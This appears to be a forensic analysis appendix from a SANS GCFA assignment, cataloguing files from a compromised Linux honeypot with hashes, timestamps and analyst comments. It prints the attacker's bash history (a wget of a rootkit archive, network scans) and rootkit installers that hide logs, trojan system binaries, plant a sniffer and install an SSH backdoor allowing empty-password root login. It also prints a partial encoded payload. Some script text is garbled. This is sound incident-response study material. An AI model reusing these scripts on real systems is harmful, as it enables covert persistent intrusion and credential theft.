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Hash Value: de3238096016c1c151d99126cb6b4a95
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80) Name: vars.c
Description: File
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/font-unix/X11-pipe/src-vars.c
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 10/09/00 06:22:02PM
Hash Value: 57bdcdba9d9126a49472d85485bae729
Physical Size: 10,240
Logical Size: 10,190

81) Name: xmech.o
Description: File
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/font-unix/X11-pipe/src-xmech.o
Entry Modified: 06/29/03 03:32:50PM
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Last Written: 08/27/01 02:00:38PM
Hash Value: 43ca3fc3c7bf56e00c75677de8ed6c43
Physical Size: 86,016
Logical Size: 85,984

82) Name: Makefile
Description: File
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/font-unix/samba/Makefile
Entry Modified: 06/29/03 03:32:50PM
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Last Written: 08/27/01 01:50:36PM
Hash Value: b0154c6a0911fccebe31669c9d756753
Physical Size: 3,072
Logical Size: 3,020

83) Name: solo
Description: File
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/font-unix/samba/solo
Entry Modified: 06/29/03 03:41:56PM
Comment: This is an attack script from the samba.tgz file.

```
./samba -v -p $3 -d 300000 -C 99 -b $2 $1
```

84) Name: .bash_history
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\root\.bash_history
Entry Modified: 06/29/03 05:21:44PM
Last Accessed: 06/30/03 04:50:00PM
Last Written: 06/29/03 05:21:44PM
Hash Value: da617ff22a9bdf3508ada5a86d10217e
Physical Size: 3,072
Logical Size: 2,477

Comment: Bash history file from root. Shows commands correlating with sebek output.

```
unset HISTFILES
cd /tmp
ls -al
rm -rf .s
cd /bin
mkdir .EhT
cd /tmp
cd .font -unix
wget XXX.XXX.com/eladoht/samba.tgz
tar -zxvf samba.tgz
cd samba
ifconfig
./samba -d 0 -S 192.168.2.*
./samba -d 0 -S XXX.XXX.5.*
nmap
nmap XXX.XXX.42.58
/sys XXX.XXX.42.58
/sys XXX.XXX.42.58
whereis tcp.log
netstat -a
netstat
./samba -d 0 -S XXX.XXX.42.*
nmap XXX.XXX.49.137
/sys XXX.XXX.49.137
/sys XXX.XXX.49.137
/sys XXX.XXX.49.137
/sys XXX.XXX.49.137
/sys XXX.XXX.49.137
./samba -d 0 -S XXX.XXX.54.*
nmap XXX.XXX.59.235
nmap XXX.XXX.61.126
./sys XXX.XXX.61.126
```

85) Name  weit
Description  File
Full Path  Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/weit
Entry Modified  06/29/03 03:22:10PM
Last Accessed  06/29/03 03:22:10PM
Last Written  03/24/02 07:23:19PM
Hash Value  2b008592a46a5a52008ba46a27116833
Physical Size  24,576
Logical Size  20,914
Comment: Root kit files

**s.tar.gz files – infected with Linux RST.B Virus**

Files from s.tar.gz

These file are from the s.tar.gz archive. The files are trojan executable files. They include a sniffer file (linsniffer), an sshd backdoor and install script for the tools. All executable files are virus infected with the Linux RST.B virus

(http://www.sophos.com/virusinfo/analyses/linuxrstb.html).

86) Name  install
Description  File
Full Path  Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/s/install
Entry Modified  06/29/03 03:22:08PM
Last Accessed  06/29/03 03:25:21PM
Last Written  03/24/03 09:37:31PM
Hash Value  5ab9ac0a738a7f78c85f553738f3869d
Comment: Here is the install script from the s.tar.gz file.

```
#!/bin/sh
#  =========================================================================
cl="· [0m"
cyn="· [36m"
wht="· [37m"
hblk="· [1;30m"
hgrn="· [1;32m"
hcyn="· [1;36m"
hred="· [1;31m"
unset HISTFILE
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/sbin:/usr/local/bin:
/usr/local/bin:/usr/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:
/root/bin:/usr/local/bin
# echo "Installing" >install.log
chattr -iau /etc/rc.d/init.d/sshd /etc/rc.d/init.d/syslog /etc/rc.d/init.d/functions >>install.log 2>&1
chattr -iau /usr/local/sbin/sshd /usr/sbin/sshd /bin/ps /bin/netstat /bin/ls /usr/bin/du /usr/bin/find >>install.log 2>&1
chattr -iau /usr/bin/pstree /usr/bin/killall /usr/bin/top /usr/bin/dir >>install.log 2>&1
/etc/rc.d/init.d/syslog stop >>install.log 2>&1
killall -9 portmap 2>>install.log
rm -f ../*.tgz 2>>install.log
if [ ! -d /etc/rc.d/init.d ] || [ ! -d /etc/rc.d/rc0.d ]; then
  echo "${cl}${hred}Argh!! .. SysV init not found${cl}${wht}"
  echo "${cl}${hred}Installation aborted${cl}${wht}"
  echo "non-sysv init system, installation aborted" >>install.log
  /etc/rc.d/init.d/syslog start >>install.log 2>&1
  exit 1
fi
if [ ! "$(2>&1 ./ps >/dev/null)" ]; then
  mv -f /bin/ps /bin/mps >>install.log 2>&1
  if [ ! x /bin/mps ]; then
    mv -f /bin/ps /dev/null 2>&1
  fi
fi
if [ ! "$(2>&1 ./ps >/dev/null)" ]; then
  cp -f ps /bin >>install.log 2>&1
  if [ ! x /bin/ps ]; then
    cp -f ps /bin/ps >>install.log 2>&1
  fi
fi
fi
if [ ! "$(2>&1 .ps >/dev/null)" ]; then
  echo "PS --> OK" >>install.log
else
  echo "PS --> OK"
fi
```
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```bash
echo "FIND --- failed" >>install.log
fi

echo "$(cl)$[hred]|$(cl)$[hblk]--------$(cl)$[wht]du"
echo " " >>install.log
if [ ! "$(2>&1 ./du >/dev/null)" ]; then
  if [ ! -f /usr/include/rpcssvc/du ]; then
    chmod -x /usr/include/rpcssvc/du
cp -f du /usr/bin >>install.log
  fi
echo "DU ---> OK" >>install.log
else
  echo "$[cl]$[hred] *** failed ***$[cl]$[wht]"
echo "DU ---> failed" >>install.log
fi

echo "$(cl)$[hred]|$(cl)$[hblk]--------$(cl)$[wht]netstat"
echo " " >>install.log
if [ ! -x /bin/mnetstat ]; then
  mv -f /bin/netstat /bin/mnetstat
  cp -f netstat /bin/ >>install.log
  echo "NETSTAT ---> OK" >>install.log
else
  echo "$[cl]$[hred] *** failed ***$[cl]$[wht]"
echo "NETSTAT ---> failed" >>install.log
fi

echo "$(cl)$[hblk]|$(cl)$[hred]*********** $(cl)$[wht]Installing my port"
cd nfsd; ./nfsd
sleep 1

if [ ! -d /dev/logs ]; then
  echo "$[cl]$[hred]|$[cl]$[hblk]--------$[cl]$[wht]Creating Logs DIR"
  mkdir /dev/logs
  touch /dev/logs/tcp.log
  lpd >>/dev/logs/tcp.log &
echo "$[cl]$[hred]|$[cl]$[hblk]-->$[cl]$[wht]Setting up crontab"
  mkdir /dev/logs
else
  echo "$[cl]$[hred]|$[cl]$[hblk]-->$[cl]$[wht]The logs dir is already present"
  chattr -i /dev/logs
  mv -f /dev/logs /dev/dirlogs
fi

cp -f linsniffer /usr/bin/lpd >>install.log

if [ ! "$[cl]$[hred]|$[cl]$[hblk]-->$[cl]$[wht]CronTab Installed on user -root-$[cl]"
```
else
   echo "\$\{cl\}\$\{hred\}\$\{cl\}\$\{hblk\}--\$\{cl\}\$\{hred\}CronTab is already installed on user --root--\$\{cl\}"
   echo
   echo "\$\{cl\}\$\{hred\}/usr/bin/crontab -l'\$\{cl\}"
   echo
fi

else
   echo "\$\{cl\}\$\{hgrn\}Ports Open\$\{cl\}:\$\{wht\}"
   if [ -x /usr/sbin/lsof ]; then
      /usr/sbin/lsof|grep LISTEN
   else
      /bin/netstat -a|grep LISTEN|grep tcp
   fi
   echo "\$\{cl\}\$\{hgrn\}Checking 4 Other RootKITs\$\{cl\}:\$\{wht\}"
   if [ -d /dev/ida/.inet ]; then
      echo "\$\{cl\}\$\{hred\}/dev/ida/.inet\$\{cl\}\$\{wht\}"
   fi
   if [ -f /usr/bin/hdparm ]; then
      echo "\$\{cl\}\$\{hred\}/usr/bin/hdparm\$\{cl\}\$\{wht\}"
   fi
   if [ -d /dev/.rd ]; then
      echo "\$\{cl\}\$\{hred\}/dev/.rd\$\{cl\}\$\{wht\}"
   fi
   if [ -x /usr/bin/sourcemask ]; then
      echo "\$\{cl\}\$\{hred\}/usr/bin/sourcemask\$\{cl\}\$\{wht\}"
   fi
   if [ -x /etc/rc.d/init.d/init ]; then
      echo "\$\{cl\}\$\{hred\}/etc/rc.d/init.d/init\$\{cl\}\$\{wht\}"
   fi
   if [ "`locate alya.cgi 2>/dev/null`" ]; then
      echo "\$\{cl\}\$\{hred\}alya.cgi\$\{cl\}\$\{wht\}"
      locate alya.cgi 2>/dev/null
   fi
   if [ "`locate .. 2>/dev/null|egrep -v "1.gz"`" ]; then
      echo "\$\{cl\}\$\{hred\}Suspected Dirs: \$\{cl\}\$\{wht\}"
      locate ..|egrep -v '1.gz'|head -n 40
      echo
   fi
   if [ "`locate tcp.log 2>/dev/null" ] || [ "lsof|grep tcp.log" ] || [ "locate sniffer 2>/dev/null" ]; then
      # Code to check for tcp.log and sniffer log files
   fi

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```
echo "${cl}${hred}Snifferz${cl}${wht}"
echo ---------------------------------------------
locate tcp.log 2>/dev/null
/usr/sbin/lsof|grep tcp.log
locate sniffer 2>/dev/null
echo ---------------------------------------------
fi
if [ "`locate .1proc 2>/dev/null`" ]; then
  echo "${cl}${hred}Possible TK${cl}${wht}"
else
  locate .1proc 2>/dev/null
  echo ---------------------------------------------
  fi
if [ "`locate adore 2>/dev/null`" ]; then
  echo "${cl}${hred}Possible adore lkm${cl}${wht}"
else
  locate adore 2>/dev/null
  echo ---------------------------------------------
  fi
if [ "`locate psybnc 2>/dev/null`" ]; then
  echo "${cl}${hred}grr.. a FucKing PsyBNC still around${cl}${wht}"
  locate psybnc 2>/dev/null|head -n 20
  echo ---------------------------------------------
  fi
if [ "`locate mech 2>/dev/null|grep -v 'listmech'`" ]; then
  echo "${cl}${hred}grr.. a fucking mech still around${cl}${wht}"
  locate mech 2>/dev/null|grep -v 'listmech'|head -n 20
  echo ---------------------------------------------
  fi
if [ "`locate eggdrop 2>/dev/null`" ]; then
  echo "${cl}${hred}grr.. a fucking egg still around${cl}${wht}"
  locate eggdrop 2>/dev/null|head -n 40
  echo ---------------------------------------------
  fi
if [ "`ps -ax|grep "./"|grep -v grep|grep -v install`" ]; then
  echo "${cl}${hred}Suspect Processes:${cl}${wht}"
  ps -ax|grep "./"|grep -v grep|grep -v install
  echo ---------------------------------------------
  fi
fi
```

```
echo "Na hai sa ne pisam pe iei-;)"
unset cl cyn wht hblk hgrn hcyn hwht hred
exit 0
```
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#### Comment: sniffer program

```bash
#!/bin/bash
TERM=linux
chown root.root *
./p.ssh
sleep 1
chattr -A /etc/rc.d/rc.sysinit
echo >>/etc/rc.d/rc.sysinit wait
cat /etc/rc.d/rc.sysinit | grep -v 'wait' > /etc/rc.d/rc.sysinit.old
rm -rf /etc/rc.d/rc.sysinit
mv /etc/rc.d/rc.sysinit.old /etc/rc.d/rc.sysinit
chmod +x /etc/rc.d/rc.sysinit
chattr -A /usr/bin/* > /dev/null 2>&1
mv wait /usr/bin/wait
touch -acmr /bin/df /usr/bin/wait
chmod +x /usr/bin/wait
/usr/bin/wait
```

#### Comment: This script starts p.ssh, modifies `/etc/rc.d/rc.sysinit` by adding a line to run `wait` and removes `wait`.

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<td><strong>100)</strong></td>
<td>Name: <code>nfsdi</code></td>
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#### Comment:

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Comment: Here is the nfdsi script that is called from the install script to install the ssh backdoor.

#!/bin/sh
if [ -x /usr/sbin/nfsd ]; then
    chattr -iau /usr/sbin/nfsd
    rm -f /usr/sbin/nfsd
    cp -f /p.sshd /usr/sbin/nfsd
    chmod +s /usr/sbin/nfsd
    chattr +iau /usr/sbin/nfsd
else
    cp -f /p.sshd /usr/sbin/nfsd
    chmod +s /usr/sbin/nfsd
    chattr +iau /usr/sbin/nfsd
fi
if [ -f /sbin/sshd_config ]; then
    chattr -iau /etc/sshd_config
    rm -f /sbin/sshd_config
    cp -f /sbin/sshd_config
    chattr +iau /etc/sshd_config
else
    cp -f /sbin/sshd_config
    chattr +iau /sbin/sshd_config
fi

chattr +iau /sbin/sshd_config
if [ -f /sbin/sshd_config ]; then
    chattr +iau /etc/rc.d/init.d/syslog
    rm -f /etc/rc.d/init.d/syslog
    cp -f /etc/rc.d/init.d/syslog
    chattr +iau /etc/rc.d/init.d/syslog
fi

chattr +iau /etc/rc.d/init.d/functions

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101) Name  p.ssh
Description  File
Full Path  Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/s.p.ssh
Entry Modified 06/29/03 03:11:59 PM
Last Accessed 06/29/03 03:25:20 PM
Last Written 03/24/03 09:29:48 PM
Hash Value 0ef7a0c48b1cae0e35e209a034be78fa
Physical Size 77,824
Logical Size 77,344

Comment: This script is called by the install script right after the killall trojan is installed. The line that calls it is "sh p.ssh".

#!/bin/bash
d=".x"
H=".x"
mkdir -p SD; cd SD
echo > libgc.so; chmod 0622 libgc.so
echo -n -e "\037\213\010\010\204\232\142\076\002\003\153\144\163\000\355\275\017\170\123\125\266\050\176\322\244\155\150\043\111\122\021\025\045\010\" \
\214\124\021\032\140\224\102\321\317\341\024\120\252\021\220\226\021\225\242\264\026\210\030\320\034\250\320\102\060\215\366\364\160\234\ \
\276\031\073\203\063\162\107\107\230\361\316\345\216\334\271\042\105\" \
\376\245\224\133\026\107\234\121\134\255\300\033\072\016\352\251\251\ \
\132\151\151\103\211\315\157\255\265\317\111\322\212\342\175\357\173\ \\
\357\731\356\637\176\360\365\144\137\131\173\255\265\327\136\173\355\ \\
\265\347\331\173\237\315\374\302\174\235\116\244\261\161\134\002\147\254\ \\
\300\247\236\303\310\311\143\006\343\014\370\155\171\121\243\177\063\ \\
\070\053\344\115\342\214\134\062\453\323\077\257\301\210\177\047\177\ \\
\002\360\365\027\210\151\026\216\225\307\264\217\040\017\137\036\176\267"
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

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<td>06/29/03 03:25:20PM</td>
<td>02/07/02 11:37:18AM</td>
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<td>06/29/03 03:11:58PM</td>
<td>02/06/02 04:29:25AM</td>
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Description File
Full Path: Sans GCFA Cert Assignment: Linux 7.3 Honey pot system: /tmp: s:nfsd: sshd_config
Entry Modified: 06/29/03 03:11:59 PM
Last Accessed: 06/29/03 03:25:21 PM
Last Written: 11/26/02 09:35:22 PM
Hash Value: ce630951c72096d9ef1d3b12f309b281
Physical Size: 1,024
Logical Size: 707

Comment: Here is the ssh configuration file used by the ssh backdoor program nsfd.

# This is ssh server systemwide configuration file.
# Do not delete this file is very important for your system.conf

Port 18
ListenAddress 0.0.0.0
HostKey /sbin/xxh_h
RandomSeed /sbin/xxh_r
ServerKeyBits 768
LoginGraceTime 600
KeyRegenerationInterval 3600
PermitRootLogin yes
IgnoreRhosts no
StrictModes yes
QuietMode Yes
X11Forwarding yes
X11DisplayOffset 10
PasswordAuthentication yes
PermitEmptyPasswords yes
UseLogin no
# CheckMail no
# PidFile /u/zappa/.ssh/pid
# AllowHosts
# DenyHosts lowsecurity.theirs.com *.evil.org evil.org
# Umask 022
# SilentDeny yes

109) Name: sshd-install
Description File
Full Path: Sans GCFA Cert Assignment: Linux 7.3 Honey pot system: /tmp: s:sshd: sshd-install
Entry Modified: 06/29/03 03:11:59 PM
Last Accessed: 06/29/03 03:11:59 PM
Last Written: 11/26/02 09:40:32 PM
Hash Value: 2eebbaf9afee6267d55470c72f33a700
Physical Size: 2,048
Logical Size: 1,053

Comment: sshd-install script

#!/bin/sh
rm -rf /etc/ssh
mkdir -p /etc/ssh >>../install.log 2>&1
cp -f init.sshd /etc/rc.d/init.d/sshd

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if [-x /sbin/chkconfig ]; then
/sbin/chkconfig --add sshd >>../install.log 2>&1
else
ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc0.d/K25sshd
ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc1.d/K25sshd
ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc2.d/S55sshd
ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc3.d/S55sshd
ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc4.d/S55sshd
ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc5.d/S55sshd
ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc6.d/K25sshd
fi

cp -f sshd_config /etc/ssh >>../install.log 2>&1

cp -f sshd_config /etc >>../install.log 2>&1

if [ ! -f /etc/ssh/ssh_host_key ]; then
.cp -f ssh_host_key /etc/ssh >>../install.log 2>&1
else
ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc0.d/K25sshd
ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc1.d/K25sshd
ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc2.d/S55sshd
ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc3.d/S55sshd
ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc4.d/S55sshd
ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc5.d/S55sshd
ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc6.d/K25sshd
fi

110) Name top
   Description File
   Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\top
   Entry Modified 06/29/03 03:25:20PM
   Last Accessed 06/29/03 03:25:20PM
   Last Written 06/29/03 03:25:20PM
   Hash Value 0598ec88648c9e9e17b0d50a3da771a6
   Physical Size 58,368
   Logical Size 57,615

111) Name vdir
   Description File
   Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\vdir
   Entry Modified 06/29/03 03:25:20PM
   Last Accessed 06/29/03 03:25:20PM
   Last Written 06/29/03 03:25:20PM
   Hash Value 8a5f3b2b5e671bb9ce0cfcf372d595b3e6cb
   Physical Size 48,128
   Logical Size 47,295

112) Name xxh_h
   Description File
   Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\nfsd\xxh_h
   Entry Modified 06/29/03 03:11:59PM
   Last Accessed 06/29/03 03:25:21PM
   Last Written 02/06/02 08:09:53AM
   Hash Value ddefe24731d459493356d479c2db48ad
   Physical Size 1,024
   Logical Size 53

113) Name xxh_h
   Description File
   Full PathSans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s\nfsd\xxh_h

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the functions library is called by the networks script here.

. /etc/init.d/functions

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<td>529,137</td>
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<td>264,568</td>
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<td>214,544</td>
<td>Allocated: 51,224,576</td>
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<td>Volume Name:</td>
<td>11,551,743</td>
<td></td>
</tr>
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</table>

The following are bookmarks from Volume /var
httpd access log for June 27, 2003

192.168.2.15 - - [27/Jun/2003:14:10:34 -0600] "GET /poweredby.png HTTP/1.1" 200 2326
XXX.XXX.XXX.ca - - [27/Jun/2003:17:35:44 -0600] "GET / HTTP/1.1" 200 2890
XXX.XXX.XXX.ca - - [27/Jun/2003:17:35:44 -0600] "GET /poweredby.png HTTP/1.1" 200 1154
XXX.XXX.XXX.ca - - [27/Jun/2003:17:35:44 -0600] "GET /icons/apache_pb.gif HTTP/1.1" 200 2326
XXX.XXX.XXX.ca - - [27/Jun/2003:17:35:44 -0600] "GET /poweredby.png HTTP/1.1" 200 2326
XXX.XXX.XXX.ca - - [27/Jun/2003:17:35:44 -0600] "GET /icons/apache_pb.gif HTTP/1.1" 200 2326
XXX.XXX.XXX.ca - - [27/Jun/2003:17:35:44 -0600] "GET /poweredby.png HTTP/1.1" 200 1154
XXX.XXX.XXX.ca - - [27/Jun/2003:17:35:44 -0600] "GET /icons/apache_pb.gif HTTP/1.1" 200 1154

httpd access log for June 29, 2003

XXX.XXX.XXX.com - - [28/Jun/2003:08:46:23 -0600] "HEAD / HTTP/1.0" 200 0
XXX.XXX.XXX.202 - - [29/Jun/2003:02:36:53 -0600] "HEAD / HTTP/1.0" 200 0

httpd error log for June 29, 2003

[Sun Jun 29 04:02:28 2003] [notice] Apache/1.3.23 (Unix) (Red-Hat/Linux) mod_ssl/2.8.7 OpenSSL/0.9.6b DAV/1.0.3 PHP/4.1.2 mod_perl/1.26 configured -- resuming normal operations
[Sun Jun 29 04:02:28 2003] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec)
[Sun Jun 29 04:02:28 2003] [notice] Accept mutex: sysvsem (Default: sysvsem)
[Sun Jun 29 15:06:18 2003] [error] [client XXX.XXX.XXX.XXX.108.64] client sent HTTP/1.1 request without host
[Sun Jun 29 15:36:49 2003] [error] [client 193.109.122.5] request failed: error reading the headers

Mail file for root. Shows segmentation faults and cron job problems.

From root  Fri Jun 27 04:02:02 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
    by localhost.localdomain (8.11.6/8.11.6) id h5RA22S06825
    for root; Fri, 27 Jun 2003 04:02:02 -0600
Date: Fri, 27 Jun 2003 04:02:02 -0600
From: root <root@localhost.localdomain>
Message-Id: <200306271002.h5RA22S06825@localhost.localdomain>
To: root@localhost.localdomain
Subject: LogWatch for rh1

############################ LogWatch 2.6 Begin ############################
-- sendmail Begin
334 bytes transferred
1 messages sent
-- sendmail End

############################ LogWatch 2.6 Begin ############################

Can't locate these modules:
  0a: 1 Time(s)

-- ModProbe End

-- sendmail Begin
334 bytes transferred
1 messages sent
-- sendmail End

############################ LogWatch End ############################

Failed logins from these:
  userid1/password from 192.168.2.1: 1 time(s)
  userid1/password from 192.168.2.13: 1 time(s)

Users logging in through sshd:
  userid1 logged in from 192.168.2.1 using password: 1 Times(s)
  userid1 logged in from 192.168.2.13 using password: 1 Times(s)
  root logged in from 192.168.2.121 using password: 2 Times(s)

############################ LogWatch End ############################

From root Sat Jun 28 04:01:12 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
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by localhost.localdomain (8.11.6/8.11.6) id h5SA24a09068
for root; Sat, 28 Jun 2003 04:02:04 -0600
Date: Sat, 28 Jun 2003 04:02:04 -0600
Message-Id: <200306281002.h5SA24a09068@localhost.localdomain>
From: root@localhost.localdomain (Cron Daemon)
To: root@localhost.localdomain
Subject: Cron <root@rh1> run-parts /etc/cron.daily
X-Cron-Env: <SHELL=/bin/bash>
X-Cron-Env: <Path=/sbin:/bin:/usr/sbin:/usr/bin>
X-Cron-Env: <MAILTO=root>
X-Cron-Env: <HOME=/>
X-Cron-Env: <LOGNAME=root>

/etc/cron.daily/00webalizer:

Error: Unable to open DNS cache file /var/lib/webalizer/dns_cache.db

From root Sun Jun 29 04:02:03 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5TA22E10471
for root; Sun, 29 Jun 2003 04:02:02 -0600
Date: Sun, 29 Jun 2003 04:02:02 -0600
From: root@localhost.localdomain
Message-Id: <200306291002.h5TA22E10471@localhost.localdomain>
To: root@localhost.localdomain
Subject: LogWatch for rh1

################## LogWatch 2.6 Begin ##################
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sendmail Begin
------------------------
1336 bytes transferred
2 messages sent
----------------------
sendmail End
-------------------------

###################### LogWatch End ########################
From root Sun Jun 29 23:56:11 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5U5r2P27612
for root; Sun, 29 Jun 2003 23:53:02 -0600
Date: Sun, 29 Jun 2003 23:53:02 -0600
Message-Id: <200306300553.h5U5r2P27612@localhost.localdomain>
From: root@localhost.localdomain (Cron Daemon)
To: root@localhost.localdomain
Subject: Cron <root@rh1> run-parts /etc/cron.daily
X-Cron-Env: <SHELL=/bin/bash>
X-Cron-Env: <Path=/sbin:/bin:/usr/sbin:/usr/bin>
X-Cron-Env: <MAILTO=root>
X-Cron-Env: <HOME=/>
X-Cron-Env: <LOGNAME=root>

/etc/cron.daily/00webalizer:

Error: Unable to open DNS cache file /var/lib/webalizer/dns_cache.db

From root Sun Jun 29 23:56:11 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5U5r2P27612
for root; Sun, 29 Jun 2003 23:53:02 -0600
Date: Sun, 29 Jun 2003 23:53:02 -0600
Message-Id: <200306300553.h5U5r2P27612@localhost.localdomain>
From: root@localhost.localdomain (Cron Daemon)
To: root@localhost.localdomain  
Subject: Cron <root@rh1> /usr/lib/sa/sa2 -A  
X-Cron-Env: <SHELL>/bin/sh  
X-Cron-Env: <HOME>/root  
X-Cron-Env: <PATH>/usr/bin:/bin  
X-Cron-Env: <LOGNAME=root>

/usr/lib/sa/sa2: line 14: 27610 Segmentation fault find /var/log/sa  
(name 'sar??' -o -name 'sa??') -mtime +7 -exec rm -f {} \

From root Mon Jun 30 04:05:09 2003  
Return-Path: <root@localhost.localdomain>  
Received: (from root@localhost)  
by localhost.localdomain (8.11.6/8.11.6) id h5UA24x28029  
for root; Mon, 30 Jun 2003 04:02:04 -0600  
Date: Mon, 30 Jun 2003 04:02:04 -0600  
Message-ID: <200306301002.h5UA24x28029@localhost.localdomain>  
From: root@localhost.localdomain (Cron Daemon)  
To: root@localhost.localdomain  
Subject: Cron <root@rh1> run-parts /etc/cron.daily  
X-Cron-Env: <SHELL>/bin/bash  
X-Cron-Env: <PATH>/sbin:/bin:/usr/sbin:/usr/bin  
X-Cron-Env: <MAILTO=root>  
X-Cron-Env: <HOME>/  
X-Cron-Env: <LOGNAME=root>

/etc/cron.daily/00webalizer:

Error: Unable to open DNS cache file /var/lib/webalizer/dns_cache.db
/etc/cron.daily/makewhatis.cron:

/etc/bin/makewhatis: line 360: 28130 Segmentation fault rm $TMPFILE
/etc/bin/makewhatis: line 360: 28191 Segmentation fault rm $TMPFILE
/etc/bin/makewhatis: line 360: 28222 Segmentation fault rm $TMPFILE
/etc/bin/makewhatis: line 360: 28239 Segmentation fault rm $TMPFILE
/etc/bin/makewhatis: line 360: 28248 Segmentation fault rm $TMPFILE
/etc/bin/makewhatis: line 360: 28261 Segmentation fault rm $TMPFILE
/etc/bin/makewhatis: line 360: 28264 Segmentation fault rm -rf $TMPFILE
/etc/bin/makewhatis: line 363: 28266 Segmentation fault rm -rf /tmp/makewhatisTR5OHF
/etc/cron.daily/makewhatis.cron: line 1: 28268 Segmentation fault rm -f /var/lock/makewhatis.lock

Volume swap1

The following are bookmarks from Volume swap1
clusters of interest from swap

root: XXX.XXX.XXX.ca · · · · · · · · · · · · MrIdiot

```
PATH=/bin:/sbin:/usr/bin:/usr/sbin:
readline stdin
more syslog.conf
ls -l
cd /var/log
  tail messages
ls -l
vi /etc/syslog.conf
cd /var/log
tail boot.log
ifconfig -a
cd /usr/
  more cron
cd asm
"
```

Files infected with Jac.8759 virus

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<td>06/30/03 04:50:00PM</td>
<td>03/24/02 07:23:18PM</td>
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<td>20,480</td>
<td>19,647</td>
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<td>ash.static</td>
<td></td>
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<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>06/24/01 08:08:19PM</td>
<td>a37e77f1a768a2dbcfe97f4f37a46aa</td>
<td>481,280</td>
<td>481,251</td>
</tr>
<tr>
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<td></td>
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**Files outside root kit infected with Linux RST.B virus**

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- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/bin/mnetstat
- **Entry Modified:** 06/29/03 03:25:20PM  
- **Last Accessed:** 06/30/03 04:50:02PM  
- **Last Written:** 06/29/03 03:25:20PM  
- **Hash Value:** 3939b3986c7342c121aa395a658a5232  
- **Physical Size:** 109,568  
- **Logical Size:** 108,932

### 241) Name: bzip2recover
- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/bzip2recover
- **Entry Modified:** 06/29/03 11:53:01PM  
- **Last Accessed:** 06/29/03 11:53:01PM  
- **Last Written:** 06/29/03 11:53:01PM  
- **Hash Value:** 5d50b7a01bbf832876e7092dc91d70f4  
- **Physical Size:** 16,384  
- **Logical Size:** 15,624

### 242) Name: gencat
- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/gencat
- **Entry Modified:** 06/29/03 11:53:01PM  
- **Last Accessed:** 06/29/03 11:53:01PM  
- **Last Written:** 06/29/03 11:53:01PM  
- **Hash Value:** 84492adb4dddeccff3e3c8a30c99725b  
- **Physical Size:** 20,480  
- **Logical Size:** 18,040

### 243) Name: gencat
- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/gencat
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- **Physical Size:** 20,480  
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- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/getent
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- **Last Accessed:** 06/29/03 11:53:01PM  
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- **Hash Value:** f1a14ddf6053137dbda6798ee90f5a9
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Physical Size 20,480
Logical Size 19,240

245) Name iconv
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\iconv
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value cfaa21a7bab79204868fa7265a7870e6
Physical Size 53,248
Logical Size 51,004

246) Name lddlibc4
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\lddlibc4
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value 2e4e896f0ea9192ef5d94673d79dd403
Physical Size 8,192
Logical Size 7,800

247) Name localedef
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\localedef
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Last Written 06/29/03 11:53:01PM
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Physical Size 299,008
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248) Name localedef
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249) Name sprof
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\sprof
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250) Name sprof
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#### Entry 251)
- **Name**: db1_dump185
- **Description**: File
- **Full Path**: `/usr/bin/db1_dump185`
